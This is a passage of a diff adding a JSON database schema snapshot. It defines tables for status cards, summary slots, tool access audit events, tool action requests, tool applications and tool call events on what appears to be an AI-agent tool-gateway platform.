+        },
+        "archived_by_agent_id": {
+          "name": "archived_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "status_cards_company_archived_idx": {
+          "name": "status_cards_company_archived_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "archived_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "status_cards_company_next_eval_idx": {
+          "name": "status_cards_company_next_eval_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "next_eval_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "status_cards_company_id_companies_id_fk": {
+          "name": "status_cards_company_id_companies_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "status_cards_created_by_agent_id_agents_id_fk": {
+          "name": "status_cards_created_by_agent_id_agents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_query_compiled_by_agent_id_agents_id_fk": {
+          "name": "status_cards_query_compiled_by_agent_id_agents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "query_compiled_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_agent_id_agents_id_fk": {
+          "name": "status_cards_agent_id_agents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_document_id_documents_id_fk": {
+          "name": "status_cards_document_id_documents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_generating_issue_id_issues_id_fk": {
+          "name": "status_cards_generating_issue_id_issues_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "generating_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_archived_by_agent_id_agents_id_fk": {
+          "name": "status_cards_archived_by_agent_id_agents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "archived_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.summary_slots": {
+      "name": "summary_slots",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_kind": {
+          "name": "scope_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "slot_key": {
+          "name": "slot_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'idle'"
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "generating_issue_id": {
+          "name": "generating_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_generated_at": {
+          "name": "last_generated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_generated_by_agent_id": {
+          "name": "last_generated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_model": {
+          "name": "last_model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "summary_slots_document_uq": {
+          "name": "summary_slots_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "summary_slots_company_scope_idx": {
+          "name": "summary_slots_company_scope_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "summary_slots_company_generating_issue_idx": {
+          "name": "summary_slots_company_generating_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "generating_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "summary_slots_company_updated_idx": {
+          "name": "summary_slots_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "summary_slots_company_id_companies_id_fk": {
+          "name": "summary_slots_company_id_companies_id_fk",
+          "tableFrom": "summary_slots",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "summary_slots_document_id_documents_id_fk": {
+          "name": "summary_slots_document_id_documents_id_fk",
+          "tableFrom": "summary_slots",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "summary_slots_generating_issue_id_issues_id_fk": {
+          "name": "summary_slots_generating_issue_id_issues_id_fk",
+          "tableFrom": "summary_slots",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "generating_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "summary_slots_last_generated_by_agent_id_agents_id_fk": {
+          "name": "summary_slots_last_generated_by_agent_id_agents_id_fk",
+          "tableFrom": "summary_slots",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "last_generated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "summary_slots_company_scope_slot_uq": {
+          "name": "summary_slots_company_scope_slot_uq",
+          "nullsNotDistinct": true,
+          "columns": [
+            "company_id",
+            "scope_kind",
+            "scope_id",
+            "slot_key"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_access_audit_events": {
+      "name": "tool_access_audit_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_token_id": {
+          "name": "gateway_token_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "correlation_id": {
+          "name": "correlation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_entry_id": {
+          "name": "catalog_entry_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "action": {
+          "name": "action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "reason_code": {
+          "name": "reason_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "details": {
+          "name": "details",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_access_audit_company_created_idx": {
+          "name": "tool_access_audit_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_access_audit_connection_idx": {
+          "name": "tool_access_audit_connection_idx",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_access_audit_gateway_idx": {
+          "name": "tool_access_audit_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_access_audit_events_company_id_companies_id_fk": {
+          "name": "tool_access_audit_events_company_id_companies_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_access_audit_events_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_access_audit_events_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_access_audit_events_gateway_token_id_tool_mcp_gateway_tokens_id_fk": {
+          "name": "tool_access_audit_events_gateway_token_id_tool_mcp_gateway_tokens_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "tool_mcp_gateway_tokens",
+          "columnsFrom": [
+            "gateway_token_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_access_audit_events_connection_id_tool_connections_id_fk": {
+          "name": "tool_access_audit_events_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_access_audit_events_catalog_entry_id_tool_catalog_entries_id_fk": {
+          "name": "tool_access_audit_events_catalog_entry_id_tool_catalog_entries_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "tool_catalog_entries",
+          "columnsFrom": [
+            "catalog_entry_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_action_requests": {
+      "name": "tool_action_requests",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "invocation_id": {
+          "name": "invocation_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "interaction_id": {
+          "name": "interaction_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approval_id": {
+          "name": "approval_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "canonical_arguments_hash": {
+          "name": "canonical_arguments_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "canonical_arguments_summary": {
+          "name": "canonical_arguments_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "signed_arguments": {
+          "name": "signed_arguments",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "preview_markdown": {
+          "name": "preview_markdown",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_by_agent_id": {
+          "name": "requested_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_by_user_id": {
+          "name": "requested_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_agent_id": {
+          "name": "resolved_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_user_id": {
+          "name": "resolved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_by_agent_id": {
+          "name": "decided_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_by_user_id": {
+          "name": "decided_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_at": {
+          "name": "decided_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_action_requests_company_status_idx": {
+          "name": "tool_action_requests_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_action_requests_invocation_idx": {
+          "name": "tool_action_requests_invocation_idx",
+          "columns": [
+            {
+              "expression": "invocation_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_action_requests_issue_idx": {
+          "name": "tool_action_requests_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_action_requests_company_id_companies_id_fk": {
+          "name": "tool_action_requests_company_id_companies_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_invocation_id_tool_invocations_id_fk": {
+          "name": "tool_action_requests_invocation_id_tool_invocations_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "tool_invocations",
+          "columnsFrom": [
+            "invocation_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_issue_id_issues_id_fk": {
+          "name": "tool_action_requests_issue_id_issues_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_interaction_id_issue_thread_interactions_id_fk": {
+          "name": "tool_action_requests_interaction_id_issue_thread_interactions_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "issue_thread_interactions",
+          "columnsFrom": [
+            "interaction_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_approval_id_approvals_id_fk": {
+          "name": "tool_action_requests_approval_id_approvals_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "approvals",
+          "columnsFrom": [
+            "approval_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_requested_by_agent_id_agents_id_fk": {
+          "name": "tool_action_requests_requested_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "requested_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_resolved_by_agent_id_agents_id_fk": {
+          "name": "tool_action_requests_resolved_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "resolved_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_decided_by_agent_id_agents_id_fk": {
+          "name": "tool_action_requests_decided_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "decided_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_applications": {
+      "name": "tool_applications",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_key": {
+          "name": "application_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_user_id": {
+          "name": "owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_applications_company_idx": {
+          "name": "tool_applications_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_applications_company_status_idx": {
+          "name": "tool_applications_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_applications_company_name_uq": {
+          "name": "tool_applications_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_applications_company_key_uq": {
+          "name": "tool_applications_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "application_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_applications_company_id_companies_id_fk": {
+          "name": "tool_applications_company_id_companies_id_fk",
+          "tableFrom": "tool_applications",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_applications_plugin_id_plugins_id_fk": {
+          "name": "tool_applications_plugin_id_plugins_id_fk",
+          "tableFrom": "tool_applications",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_applications_owner_agent_id_agents_id_fk": {
+          "name": "tool_applications_owner_agent_id_agents_id_fk",
+          "tableFrom": "tool_applications",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_call_events": {
+      "name": "tool_call_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "event_type": {
+          "name": "event_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_token_id": {
+          "name": "gateway_token_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_type": {
+          "name": "client_subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_id": {
+          "name": "client_subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mcp_session_id": {
+          "name": "mcp_session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "correlation_id": {
+          "name": "correlation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_entry_id": {
+          "name": "catalog_entry_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "invocation_id": {
+          "name": "invocation_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "action_request_id": {
+          "name": "action_request_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "runtime_slot_id": {
+          "name": "runtime_slot_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "tool_name": {
+          "name": "tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decision": {
+          "name": "decision",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "matched_policy_ids": {
+          "name": "matched_policy_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "reason_code": {
+          "name": "reason_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "policy_explanation": {
+          "name": "policy_explanation",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_scope_summary": {
+          "name": "credential_scope_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "header_policy_summary": {
+          "name": "header_policy_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "latency_ms": {
+          "name": "latency_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "arguments_summary": {
+          "name": "arguments_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "request_hash": {
+          "name": "request_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "request_summary": {
+          "name": "request_summary",
+          "type": "jsonb",
+          "primaryKey": false,
